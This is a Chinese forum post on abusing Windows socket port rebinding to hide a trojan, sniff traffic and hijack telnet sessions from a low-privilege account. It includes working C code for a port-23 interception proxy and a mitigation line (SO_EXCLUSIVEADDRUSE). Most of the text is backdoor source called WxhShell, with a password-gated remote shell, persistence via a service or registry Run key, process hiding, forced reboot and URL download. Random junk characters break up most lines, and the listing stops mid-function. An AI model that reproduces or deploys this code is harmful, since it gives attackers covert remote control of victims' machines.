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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,dx3zBI  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !=N"vD*  
Lliq j1&  
  saddr.sin_family = AF_INET; R%'^gFk 8  
|<GDUwC_;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =Jym%m  
2/0v B>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); DS)RX.k_#  
rSJ9 v :  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^g`&7tX  
uh?>- ]r`  
  这意味着什么?意味着可以进行如下的攻击: ma((2My'H  
IEzaK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 nI*v820,  
1u6^z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qu-/"w<3$  
;]pJj6J&v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t8dm)s[r8  
PZ*pQ=`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  AqV7\gdOC  
dS<C@(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6C+"`(u%V  
:Cp'm'omb  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _C`K*u 6Z<  
=hMY2D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 wy}k1E'M  
/\W Qx e  
  #include |lkNi  
  #include r9ww.PpNk#  
  #include 0JJS2oY/  
  #include    m2v'WY5u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   p^'3Odd|O  
  int main() ~R@Nd~L  
  { H(&4[%;MP  
  WORD wVersionRequested; gw}Mw  
  DWORD ret; [ U w i  
  WSADATA wsaData; x4/M}%h!;B  
  BOOL val; ^J\~XYg{7  
  SOCKADDR_IN saddr; ME=/|.}D<  
  SOCKADDR_IN scaddr; Rh>}rGvCUN  
  int err; n2I V2^ "  
  SOCKET s; 8{Fsm;UsY  
  SOCKET sc; lf!FTm7  
  int caddsize; J:kmqk!  
  HANDLE mt;  &CG*)bE  
  DWORD tid;   xSBc-u#< G  
  wVersionRequested = MAKEWORD( 2, 2 ); Jzp#bgq}|  
  err = WSAStartup( wVersionRequested, &wsaData ); H Tz  
  if ( err != 0 ) { eEn;!RS)  
  printf("error!WSAStartup failed!\n"); @S 7sr-  
  return -1; I'@Ydt2  
  } +|ycvHd  
  saddr.sin_family = AF_INET; ,yTjU{<"  
    *tAg*$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?Sb8@S&J  
HWVtop/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PClMQL#  
  saddr.sin_port = htons(23); }YHX-e<Yx]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YLVPAODY  
  { s|NjT  
  printf("error!socket failed!\n"); Q[d}J+l4{  
  return -1; 8zBWIi  
  } ScSZGs 5&  
  val = TRUE; LvEnXS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !XzF67  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A?@@*$&  
  { MW+b;0U`#  
  printf("error!setsockopt failed!\n"); q@jq0D)g  
  return -1; 41_SRh7N  
  } [S@}T zE  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g9Yz*Nee<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 M5trNSL&u  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 CV{r5Sye  
M BXBog7U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !L95^g   
  { ,<Q~b%(3  
  ret=GetLastError(); 7 K{Nb  
  printf("error!bind failed!\n"); I=!rbF;Z  
  return -1; mP(kcMT "  
  } 3bNIZ#`|MB  
  listen(s,2); NxLXm,  
  while(1) 8+Td-\IMk  
  { bTSL<"(]N  
  caddsize = sizeof(scaddr); w\19[U3  
  //接受连接请求 Nlj^D m  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |0,vQv  
  if(sc!=INVALID_SOCKET) o5n^!gi4  
  { X.TI>90{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); M+!x}$ &v  
  if(mt==NULL) ]0r|_)s  
  { |G/7_+J6  
  printf("Thread Creat Failed!\n"); Ei2%DMN7)  
  break; v{ <[)cr  
  } z7-k`(l4  
  } Eaqca{%/^  
  CloseHandle(mt); WX4;l(P L=  
  } 'r\ V. 4  
  closesocket(s); 5ZY)nelc  
  WSACleanup(); HBB{m  
  return 0; "3F;cCDv]  
  }   X o{`]  
  DWORD WINAPI ClientThread(LPVOID lpParam) $M:3XAN  
  { fKtV '/X;Q  
  SOCKET ss = (SOCKET)lpParam; J/A[45OD  
  SOCKET sc; vOgC>_x7  
  unsigned char buf[4096]; U,Mx@KdV  
  SOCKADDR_IN saddr; _u}4j9T  
  long num; *{o UWt  
  DWORD val; H7[6yh  
  DWORD ret; PNeh#PI 6)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M=]5WZO~A  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X _$a,"'~)  
  saddr.sin_family = AF_INET; jw ,izxia  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S. |FL%;  
  saddr.sin_port = htons(23); dr q hQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  d^|0R  
  { \ /|)HElKR  
  printf("error!socket failed!\n"); *U l*%!?D  
  return -1; 19q{6X`x  
  } 6> {r6ixs1  
  val = 100; :"o o>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0D~ C 5}/4  
  { H0"=Vs,n  
  ret = GetLastError(); Qju`e Eo  
  return -1; 2yo cu!4l  
  } o5aLU Wi-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [XlB<P=|>  
  { 0F;,O3Q  
  ret = GetLastError(); ] q~<=   
  return -1; %G3sjnI;l  
  } h?,\(KjP#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9j|gdfb%ml  
  { 1MA@JA:T  
  printf("error!socket connect failed!\n"); AN9[G  
  closesocket(sc); 7k=fZ$+O  
  closesocket(ss); }lZ>  
  return -1; ]qw0V   
  } \.s`n2.w  
  while(1) '7I g.K&  
  { +'03>!V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 RHNk%9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -g`IH-B  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Bo\D.a(T  
  num = recv(ss,buf,4096,0); q'(z #h,cv  
  if(num>0) FEm=w2  
  send(sc,buf,num,0); 3#.\  
  else if(num==0) @%W]".*'}  
  break; Ttv9" z  
  num = recv(sc,buf,4096,0); Nf?\AK!  
  if(num>0) N?23 m`3  
  send(ss,buf,num,0); h{]#ag5`  
  else if(num==0) hG Apuy  
  break; >#N[GrJAE  
  } C}CKnkMMD  
  closesocket(ss); F!8=FTb  
  closesocket(sc); vD=%`G[m  
  return 0 ; [BXyi  
  } 5()Fvae{k  
J_  V,XO  
3ps,uozj  
========================================================== 8B@J Fpg^  
^Rmoz1d  
下边附上一个代码,,WXhSHELL &=-PRza%j  
1!/-)1t  
========================================================== a c6*v49  
.[f;(WR  
#include "stdafx.h" JE)J<9gf  
.xpmp6-  
#include <stdio.h> :dDxxrs"  
#include <string.h> R`Qp d3  
#include <windows.h> rl|Q)A{  
#include <winsock2.h> |s`Kd-'|q  
#include <winsvc.h> F aWl,}]  
#include <urlmon.h> fq Y1ggL  
~V$ f #X  
#pragma comment (lib, "Ws2_32.lib") rv?!y8\  
#pragma comment (lib, "urlmon.lib") #>q[oie1e  
{8ECNQ[]  
#define MAX_USER   100 // 最大客户端连接数 "/y|VTV"  
#define BUF_SOCK   200 // sock buffer yqBa_XPV8  
#define KEY_BUFF   255 // 输入 buffer a4u^f5)@  
[|<EDR  
#define REBOOT     0   // 重启 q u:To7  
#define SHUTDOWN   1   // 关机  h,hL?imD  
YZ*{^'  
#define DEF_PORT   5000 // 监听端口 lWlUWhLnP  
ZvyjMLf  
#define REG_LEN     16   // 注册表键长度 -eq =4N=s  
#define SVC_LEN     80   // NT服务名长度 }s6G!v^2""  
TMY{OI8a  
// 从dll定义API 2+&R" #I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K#;txzi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q;@X2 JSp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zP|*(*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *JS"(. '(  
?N2X)Y@yi  
// wxhshell配置信息 H8<m9zDvl  
struct WSCFG { [>wzl"cHW  
  int ws_port;         // 监听端口 %Il;B~t  
  char ws_passstr[REG_LEN]; // 口令 *G9 [j$  
  int ws_autoins;       // 安装标记, 1=yes 0=no /evaTQPz  
  char ws_regname[REG_LEN]; // 注册表键名 x57'Cg \  
  char ws_svcname[REG_LEN]; // 服务名 Y8t Nwh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tPzM7 n|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F\Y,JUn[G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5{HtJ?sKc5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z3Gm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,?fN#gc :  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @F~0p5I  
bt0djJRw  
}; "zXGp7Q'#  
v'K % %z  
// default Wxhshell configuration !>q?dhw@  
struct WSCFG wscfg={DEF_PORT, sb`&bA;i  
    "xuhuanlingzhe", /!:L7@BZ  
    1, u1wg C#  
    "Wxhshell", 8>2&h  
    "Wxhshell", #!wsD7;  
            "WxhShell Service", 6xyY+  
    "Wrsky Windows CmdShell Service", p|b+I"M  
    "Please Input Your Password: ", dG" K/|  
  1, 3.B4(9:>,  
  "http://www.wrsky.com/wxhshell.exe", r+SEw ;  
  "Wxhshell.exe" U2VV[e)Z!  
    }; iJEB ?y  
>7"$}5d  
// 消息定义模块 _s2m-jm7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 56"#Syj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;5-R =e(KA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RfD{g"]y  
char *msg_ws_ext="\n\rExit."; %3ou^mcj  
char *msg_ws_end="\n\rQuit."; MJy;GzJ O  
char *msg_ws_boot="\n\rReboot..."; |)m*EME  
char *msg_ws_poff="\n\rShutdown..."; Fecx';_1`  
char *msg_ws_down="\n\rSave to "; 8e]z6:}'E  
[0h* &  
char *msg_ws_err="\n\rErr!"; /A %om|+Gq  
char *msg_ws_ok="\n\rOK!"; =fL6uFmxI@  
lv=yz\  
char ExeFile[MAX_PATH]; y;zt_O/  
int nUser = 0; V h Z=,m  
HANDLE handles[MAX_USER]; x%_qJ]o  
int OsIsNt; Y')O>C0~  
zJz82jMm  
SERVICE_STATUS       serviceStatus; MMd0O X)P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SPfD2%jjC  
;% /6Y~/  
// 函数声明 nYI/&B{p  
int Install(void); 0@II &  
int Uninstall(void); L 2[Ei|9_  
int DownloadFile(char *sURL, SOCKET wsh); C/{nr-V3u  
int Boot(int flag); 6T R8D\  
void HideProc(void); fR+Ov8PCq  
int GetOsVer(void); IyrZez  
int Wxhshell(SOCKET wsl); Qw3a"k-  
void TalkWithClient(void *cs); Y&oP>n! ei  
int CmdShell(SOCKET sock); R59e&   
int StartFromService(void); =-OCM*5~S  
int StartWxhshell(LPSTR lpCmdLine); 4R K.Il*d  
Ymwx (Pm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tqff84  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =fKhXd  
R=][>\7]}  
// 数据结构和表定义 nu\  
SERVICE_TABLE_ENTRY DispatchTable[] = W HlD %u  
{ g_rA_~dh  
{wscfg.ws_svcname, NTServiceMain}, .Ws iOJU  
{NULL, NULL} 5QqJ I#4~  
}; ZTQ$Ol+{ q  
4@/q_*3o  
// 自我安装 0C7thl{Dms  
int Install(void) !~Hafn-1  
{ gp#bQ  
  char svExeFile[MAX_PATH]; qP7&LtU  
  HKEY key; q8'@dH  
  strcpy(svExeFile,ExeFile); pl jV|.?  
"Cb.cO$i;  
// 如果是win9x系统,修改注册表设为自启动 V\iIvBpWg  
if(!OsIsNt) { ?:#>^eWYe7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?`vM#)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4=?Ok":8  
  RegCloseKey(key); 9 NGeh*`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7|h3.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9E->;0-  
  RegCloseKey(key); C:tSCNH[  
  return 0; q5?rp|7D  
    } +(QMy&DtS  
  } Y\z^\k  
} g6[/F-3Qlf  
else { #VQGN2bK.  
'gk81@|  
// 如果是NT以上系统,安装为系统服务 D]G'R5H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i(&6ys5  
if (schSCManager!=0) /VhE<}OtH  
{ i-i}`oN  
  SC_HANDLE schService = CreateService \Age9iz&  
  ( t9f4P^V`  
  schSCManager, s0`|G|.}  
  wscfg.ws_svcname, UgnsV*e&  
  wscfg.ws_svcdisp, N:PA/V^z  
  SERVICE_ALL_ACCESS, 8Y{}p[UFT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :N+#4rtgUY  
  SERVICE_AUTO_START, !Z+*",]_  
  SERVICE_ERROR_NORMAL, 2 d>d(^  
  svExeFile, vs'L1$L'c  
  NULL, lkSz7dr@  
  NULL, g'}`FvADi  
  NULL, Il&"=LooZ  
  NULL, >DL-Q\U  
  NULL [o[v"e\w  
  ); `%mBu`A  
  if (schService!=0) aoakTi!}  
  { Z68Wf5@to&  
  CloseServiceHandle(schService); -}N\REXE  
  CloseServiceHandle(schSCManager); FkxhEat8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yZ?_q$4kEI  
  strcat(svExeFile,wscfg.ws_svcname); \\R*V'e!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }ygbgyLa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eRl?9  
  RegCloseKey(key); Z:B Y*#B  
  return 0; %:be{Y6  
    } ]/V Iff  
  } #/B~G.+(  
  CloseServiceHandle(schSCManager); [Tb3z:UUvf  
}  CK!pH{n+  
} G5QgnxwP2  
Ei p~ ~2  
return 1; &PQ{e8w  
} WEV{C(u<k!  
qq9tBCk  
// 自我卸载 [@. jL0>  
int Uninstall(void) 8#Z\}gGz  
{ %dk$K!5D0  
  HKEY key; "za*$DU  
k0 e|8g X  
if(!OsIsNt) { #Mem2cz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  ]O9f"cj  
  RegDeleteValue(key,wscfg.ws_regname); #;*ai\6>vD  
  RegCloseKey(key); RY/ Z~]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ppb2"Ik  
  RegDeleteValue(key,wscfg.ws_regname); VzYP:QRz  
  RegCloseKey(key); TaHi+  
  return 0; ~z1KD)^   
  } x#gmliF  
} +q=jB-eIx  
} K~ /V  
else { !RUo:b+  
a3 _0F@I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Tx?@* Q  
if (schSCManager!=0) 4!s k3Cw{  
{ 2Ku#j ('  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;o@`l$O   
  if (schService!=0) 2u;fT{(  
  { S+xGHi)  
  if(DeleteService(schService)!=0) { \w_[tPz}  
  CloseServiceHandle(schService); BHE =Zo  
  CloseServiceHandle(schSCManager); _C8LK.M#j  
  return 0; n|,Vm@zV  
  } [[DFEvOEh  
  CloseServiceHandle(schService); IguG0 3:.N  
  } 3Co>3d_  
  CloseServiceHandle(schSCManager); ?&nz  
} n *0F  
} lz0]p  
4_:e+ ql  
return 1; ]G&\L~P  
} %|* y/m  
cCKda3v!O  
// 从指定url下载文件 3:Egqw  
int DownloadFile(char *sURL, SOCKET wsh) ]Oh>ECA|D  
{ ^B=z_0 *  
  HRESULT hr; H.~+{jTr  
char seps[]= "/"; um;U;%?Q  
char *token; 4qR Q,g{$T  
char *file; l>P~M50D?{  
char myURL[MAX_PATH]; .@Sh,^v  
char myFILE[MAX_PATH]; xT( .#9  
Ec/+9H6g  
strcpy(myURL,sURL); 2p.+C35c=j  
  token=strtok(myURL,seps); F+^[8zK^  
  while(token!=NULL)  ]= D  
  { H t$%)j9  
    file=token; L| qY  
  token=strtok(NULL,seps); md_s2d  
  } [o6<aE-  
$k=rd#3  
GetCurrentDirectory(MAX_PATH,myFILE); `b$I)UUm  
strcat(myFILE, "\\"); u-cC}DP  
strcat(myFILE, file); n8C {Okr  
  send(wsh,myFILE,strlen(myFILE),0); _\]UA?0  
send(wsh,"...",3,0); 3p#^#1/_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ../(gG9  
  if(hr==S_OK) 1x 8]&  
return 0; a[#BlH  
else 7P(:!ce4-  
return 1; yrb%g~ELGn  
A#\X-8/  
} FpYoCyD}  
zy5bDL -  
// 系统电源模块 ]vG)lY.=  
int Boot(int flag) V6o,}o&-  
{ !b Km}1T  
  HANDLE hToken; ^ `9OA`2  
  TOKEN_PRIVILEGES tkp; -UE-v  
B!lw>rUMQ  
  if(OsIsNt) { EyiM`)!5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ENr&k(>0HQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NIGFu{S  
    tkp.PrivilegeCount = 1; 3x$#L!VuU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z$gY}Bz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AUd}) UR  
if(flag==REBOOT) { v?t+%|dzA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n%hnL$!z  
  return 0; bEJZh%j!  
} Sx7xb]3XI"  
else { 2I5@zm ea  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MiI7s ;  
  return 0; $$w 1%#F =  
} xC]/i(+bA  
  } bjZ?WZr  
  else { xae7#d0  
if(flag==REBOOT) { 4H)a7 <,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /6fsh7 \  
  return 0; D[_2:8  
} 16U@o>O  
else { K,Vl.-4?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1{qg@xlj  
  return 0; 4ai3@f5  
} O@VmV>m  
} s5 BV8 M  
}0o0"J-$  
return 1; `CBTZG09  
} G}g+2`  
^[6AOz+L  
// win9x进程隐藏模块 $0 )K [K  
void HideProc(void) E^G=  
{ -ydT%x  
o5d)v)Rx=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wS*UXF&f  
  if ( hKernel != NULL ) bZ=d!)%P-{  
  { '?nhpT^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R[6&{&E:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W NCdk$  
    FreeLibrary(hKernel); "xKJ?8   
  } {|50&]m  
q QQ~ [JL  
return; cVU[>gkg_  
} IcN|e4t^J+  
Lgy}Gm8u5  
// 获取操作系统版本 S&yCclM  
int GetOsVer(void) |1EM )zh6  
{ d]<tFx>CQW  
  OSVERSIONINFO winfo; q;U[f6JjE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N9hBGa$  
  GetVersionEx(&winfo); 16AYB17  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ha<(~qf  
  return 1; #'8E%4  
  else VrHFM(RNe  
  return 0; Ma$b(4dB  
} /D eU`rj  
\ FA7 +Q  
// 客户端句柄模块 B<W{kEY  
int Wxhshell(SOCKET wsl) \ /o`CV{O  
{ \JX8`]|&  
  SOCKET wsh; _d: l1jD  
  struct sockaddr_in client; N=(rl#<  
  DWORD myID; Bb m1&d#  
Rh%x5RFFc  
  while(nUser<MAX_USER) t>^An:xT  
{ WVKzh  
  int nSize=sizeof(client); Rv }e+5F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4e* rBTl  
  if(wsh==INVALID_SOCKET) return 1; #=h~Lr'UH  
b}Jcj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ) "'J]6  
if(handles[nUser]==0) |iU#!+zY  
  closesocket(wsh); 8^2Q ~{i  
else Bc$t`PI  
  nUser++; -(P"+g3T  
  } ZPHB$]ri  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #49,7OBU  
*?cE]U6;  
  return 0; Que-  
} zl$'W=[rFs  
|?g k%g  
// 关闭 socket .z+ [3Oj_E  
void CloseIt(SOCKET wsh) ki39$A'8  
{ Y}QtgZEt  
closesocket(wsh); rF'q\tJDz  
nUser--; y]+q mNw"+  
ExitThread(0); x^&D8&4^  
} Enyx+]9  
R!5j1hMN`  
// 客户端请求句柄 N"Q-xK  
void TalkWithClient(void *cs) >yiK&LW^?  
{ 26?yEd6^Z  
r$d,ChzQn?  
  SOCKET wsh=(SOCKET)cs; zyTeF~_  
  char pwd[SVC_LEN]; <;G.(CK@n  
  char cmd[KEY_BUFF]; [5yLg  
char chr[1]; P`0}( '"U  
int i,j; =c:K(N qL  
1$H*E~  
  while (nUser < MAX_USER) { Z$"E|nRN  
7Rwn{]r  
if(wscfg.ws_passstr) { F[5[@y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eT0Yp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k "7l\;N  
  //ZeroMemory(pwd,KEY_BUFF); RG4T9eZq  
      i=0; VG'M=O{)3  
  while(i<SVC_LEN) { rE)lt0mkv  
K?`Fpg (  
  // 设置超时  Em?bV(  
  fd_set FdRead; 7,X5]U&A<x  
  struct timeval TimeOut; s|FfBG  
  FD_ZERO(&FdRead); bLuAe EA  
  FD_SET(wsh,&FdRead); WKek^TW4HE  
  TimeOut.tv_sec=8; >UlAae44  
  TimeOut.tv_usec=0; G&,F-|`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "k&QS@l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  xY v@  
YBF|0A{[Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4Qwv:4La  
  pwd=chr[0]; r2"B"%;  
  if(chr[0]==0xd || chr[0]==0xa) { O7vJ`K(!  
  pwd=0; h'%iY6!fA  
  break; _[M*o0[@W  
  } Qu]F<H*Y|  
  i++; ;&=c@>!xP#  
    } VEFUj&t;xW  
PaIE=Q4gJ  
  // 如果是非法用户,关闭 socket O(pa;&"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U~H]w ,^  
} .d/e?H:  
;XAj/6pm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 20h+^R3{Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); II;   
<l>o6K  
while(1) { ?9W2wqN>o  
J7a_a>Y  
  ZeroMemory(cmd,KEY_BUFF); &RF*pU>  
lfTDpKz3D  
      // 自动支持客户端 telnet标准   [ H|ifi  
  j=0; Oc A;+}>  
  while(j<KEY_BUFF) { A43 mX !g\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q}x+#[Ef  
  cmd[j]=chr[0]; f~a]og5|G  
  if(chr[0]==0xa || chr[0]==0xd) { iTUOJ3V7i  
  cmd[j]=0; _e4%<!1  
  break; ( &N`N1  
  } q#pD}Xe$  
  j++; 2":{3=oW~  
    } %OT} r  
KcPI ,.4{  
  // 下载文件 ny++U;qi  
  if(strstr(cmd,"http://")) { NRIp@PIF:"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z @f4=  
  if(DownloadFile(cmd,wsh)) $<DcbJW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J A!?vs  
  else >/J!:Htk+K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }LYK:?_/  
  } I)s~kA.e  
  else { KdN+$fe*g  
v2K6y|6,  
    switch(cmd[0]) { k z{_H`5.  
  nNj<!}HvV  
  // 帮助 *gGL5<%T:  
  case '?': { VelR8tjP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o!$O+%4  
    break; X7."hGu@  
  } i`st'\I  
  // 安装 Z~[EZgIg  
  case 'i': { lJ>OuSd  
    if(Install()) n=_jmR1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v#X l  
    else QP?eK W9 :  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S:F8` Gh  
    break; 4arqlz lo  
    } 5oOF|IYi  
  // 卸载 I l2`c}9  
  case 'r': { ~Y)h[  
    if(Uninstall()) t?l0L1;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aWg*f*2f  
    else Z4VNm1qs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); md S`nhb  
    break; r P1FM1"M  
    } zLt7jxx  
  // 显示 wxhshell 所在路径 SN<Dxa8Iy  
  case 'p': { |K(j XZ)  
    char svExeFile[MAX_PATH]; fg?4/]*T6  
    strcpy(svExeFile,"\n\r"); <13').F  
      strcat(svExeFile,ExeFile); -h%!#g  
        send(wsh,svExeFile,strlen(svExeFile),0); z\g6E/%%  
    break; yb4Jsk5%  
    } LFwRTY,G  
  // 重启 $_5a1Lq1  
  case 'b': { D^-6=@<3KD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [Z -S0  
    if(Boot(REBOOT)) a@?2T,$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $-*E   
    else {  "o{o9.w  
    closesocket(wsh); yH<a;@C  
    ExitThread(0); 4+1aW BJ2  
    } G_cWp D/  
    break; jT:z#B%  
    } + 7~u_J  
